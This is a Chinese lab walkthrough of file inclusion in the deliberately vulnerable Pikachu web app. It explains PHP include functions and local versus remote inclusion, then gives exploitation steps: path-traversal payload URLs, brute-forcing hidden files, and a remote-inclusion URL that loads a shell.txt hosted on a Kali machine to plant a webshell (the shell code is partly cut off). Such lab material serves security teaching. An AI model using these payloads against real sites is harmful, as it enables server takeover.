四、pikachu之文件包含

文章目录

  • 1、文件包含漏洞概述
    • 1.1 文件包含漏洞
    • 1.2 相关函数
    • 1.3 文件包含漏洞分类
  • 2、File Inclusion(local)
  • 3、File Inclusion(remote)

1、文件包含漏洞概述

1.1 文件包含漏洞

  文件包含漏洞:在web后台开发中,程序员往往为了提高效率以及让代码看起来更简洁,会使用“包含”函数功能。比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句就可以调用函数代码。但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。

  需要注意的是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。

1.2 相关函数

  文件包含包含函数:在php中,通过include()、include_once()require()、require_once()语句,可以将php文件的内容插入另一个php文件(在服务器执行它之前)。include()include_once()的区别在于include_once()只能包含一次相同的文件。

  includerequire函数在错误处理方面有所不同:

  • require会生成致命错误(E_COMPILE_ERROR)并停止脚本;
  • include只生成警告(E_WARNING),并且脚本会继续。

1.3 文件包含漏洞分类

  根据不同的配置环境,文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞
(1)本地文件包含漏洞
  仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
(2)远程文件包含漏洞
  能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。

  此处的本地指的是服务器端,远程指的是非服务器端。

2、File Inclusion(local)

(1)在搜索框中选择kobe之后1,url变为:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
四、pikachu之文件包含_第1张图片

  观察到url中出现filename=file1.php,那么该目录下是否存在fileX.php文件呢?

(2)发现隐藏文件,对文件名进行爆破,可以发现file6、file7、file8、file9、file10、file100返回异常。说明存在隐藏文件。
四、pikachu之文件包含_第2张图片

(3)读取不同文件夹的文件

  filename=file9.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
在这里插入图片描述

  payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4,可以发现现在include函数中的相对路径已经跳转到了/app/vul路径下了。也就是说只要我们知道某个文件的相对位置,就可以访问它。

四、pikachu之文件包含_第3张图片

3、File Inclusion(remote)

(1)远程文件包含这里,同样是通过传递一个文件名进行包含。
四、pikachu之文件包含_第4张图片
(2)filename改为www.baidu.com后,会直接访问百度;
四、pikachu之文件包含_第5张图片
(3)在 Kali 上,在 /var/www/html/ 中新建一个shell.txt,输入下面的内容:

';
fwrite($myfile, $txt);
fclose($myfile);
?>

  同时,使用service apache2 start开始apache服务,构造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交

四、pikachu之文件包含_第6张图片

  貌似什么也没发生,我们需要访问生成的shell.php文件就可以拿到webshell了。

(4)连接webshell
四、pikachu之文件包含_第7张图片

  另外,远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:

allow_url_fopen = on;(默认开)
allow_url_include = on;(默认关)

你可能感兴趣的:(pikachu,安全)